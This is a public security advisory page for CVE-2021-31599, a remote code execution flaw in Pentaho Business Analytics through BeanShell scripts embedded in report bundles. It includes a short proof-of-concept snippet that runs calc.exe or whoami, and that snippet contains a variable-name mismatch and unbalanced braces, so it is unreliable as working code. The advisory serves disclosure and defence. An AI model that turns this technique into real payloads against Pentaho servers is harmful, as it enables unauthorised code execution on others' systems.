Pentaho Business Analytics / Pentaho Business Server 9.1 Remote Code Execution

Authored by Altion Malka, Alberto Favero

Posted Nov 5, 2021

Pentaho allows users to create and run Pentaho Report Bundles (.prpt). Users can create PRPT reports by utilizing the Pentaho Designer application and can include BeanShell Script functions to ease the production of complex reports. However, the BeanShell Script functions can allow for the execution of arbitrary Java code when Pentaho PRPT Reports are run by Pentaho Business Analytics. This functionality allows any user with sufficient privileges to upload or edit an existing Pentaho Report Bundle (through Pentaho Designer) and execute arbitrary code in the context of the Pentaho application user running on the web server.

tags | exploit, java, web, arbitrary
advisories | CVE-2021-31599
SHA-256 | 9f8cbd9f5ed4747e5a6fd8e34452cf38b7608a4e96f8f1551a4a3068ced96949

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
Product: Pentaho Business Analytics / Pentaho Business Server
Vendor / Manufacturer: Hitachi
Affected Version(s): <= 9.1
Vulnerability Type: Remote Code Execution through Pentaho Report Bundles
Solution Status: Fix Released on public GitHub repository
Manufacturer Notification:  8th February 2021
Solution Date: May 2021
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-31599
Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka

--- ### --- ### ---

Product Description:

Pentaho is business intelligence (BI) software that provides data
integration, OLAP services, reporting, information dashboards, data mining
and extract, transform, load (ETL) capabilities. Its headquarters are in
Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and
in 2017 became part of Hitachi Vantara.

( Source: https://en.wikipedia.org/wiki/Pentaho )

--- ### --- ### ---

Vulnerability Details:

Pentaho allows users to create and run Pentaho Report Bundles (.prpt).
Users can create PRPT reports by utilizing the Pentaho Designer application
and can include BeanShell Script functions to ease the production of
complex reports. However, the BeanShell Script functions can allow
for the execution of arbitrary Java code when Pentaho PRPT Reports are run
by Pentaho Business Analytics. This functionality allows any user with
sufficient privileges to upload or edit an existing Pentaho Report Bundle
(through Pentaho Designer) and execute arbitrary code in the
context of the Pentaho application user running on the web server.

The following proof-of-concept BeanShell Expression demonstrates Remote
Code Execution on the underlying host server of the Pentaho application.

--- ~~~ --- ~~~ ---
// BeanShell Expression
getValue() {
// Detect the underlying Operating System
boolean isWindowsOS = System.getProperty("os.name
").toLowerCase().startsWith("windows");
if (isWindows) {
// Spawning Windows Calculator App
Runtime.getRuntime().exec("calc.exe");
} else {
// Executing the Linux ‘whoami’ command
Runtime.getRuntime().exec("whoami");
}
}
// Returns the string “done” When the PRPT report is executed
return ("Done!");
}
--- ~~~ --- ~~~ ---

--- ### --- ### ---

Proof of Concept (PoC):

See Ginger ( https://github.com/HawSec/ginger ) or the attaced PRPT file

--- ### --- ### ---

References:

- https://beanshell.github.io/intro.html
-
https://javadoc.pentaho.com/reporting/pentaho-reporting-engine-classic-
core/org/pentaho/reporting/engine/classic/core/modules/misc/beanshell/BSHExpression.html#getValue()

--- ### --- ### ---


Credits:

This vulnerability was discovered by Alberto Favero & Altion Malka

--- ### --- ### ---


--
BlackHawk - hawkgotyou@gmail.com

Experientia senum, agilitas iuvenum.
Adversa fortiter. Dubia prudenter.
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

packet storm